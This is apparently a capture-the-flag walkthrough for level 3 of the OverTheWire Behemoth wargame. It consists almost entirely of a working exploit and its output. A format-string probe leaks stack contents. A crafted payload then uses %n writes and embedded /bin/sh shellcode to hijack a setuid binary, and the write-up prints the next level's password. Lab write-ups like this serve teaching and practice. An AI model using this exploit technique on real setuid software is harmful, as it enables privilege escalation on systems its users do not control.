# Behemoth wargame: Level 3

# ssh behemoth3@behemoth.labs.overthewire.org
behemoth3@behemoth.labs.overthewire.org's password:
6e69657465696469656c

behemoth3@melissa$ file /behemoth/behemoth3
/behemoth/behemoth3: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
behemoth3@melissa$ perl -e 'print "%x."x59' | /behemoth/behemoth3
Identify yourself: Welcome, c8.f7fd3440.3.f7ffd918.0.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.f7fd002e.ffffd748.f7ea2cb5.f7feed80.804845b.f7fd2ff4.8048450.0.ffffd7c8.f7e89e37
behemoth3@melissa$ (perl -e 'print "\x5c\xd7\xff\xff" . "\x90"x4 . "\x5d\xd7\xff\xff" . "\x90"x4 . "\x5e\xd7\xff\xff" . "\x5f\xd7\xff\xff" . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "%x"x4 . "%91x" . "%n" . "%54x" . "%n" . "%41x" . "%n" . "%n"' ; cat) | /behemoth/behemoth3
<ENTER>
Identify yourself: Welcome, \×ÿÿ]×ÿÿ^×ÿÿ_×ÿÿ1À°
                                               Rh//shh/binãRâSáÍc8f7fd34403f7ffd918                                                                                          0                                              90909090                                 90909090
/usr/bin/whoami
behemoth4
/bin/cat /etc/behemoth_pass/behemoth4
69657468656973686569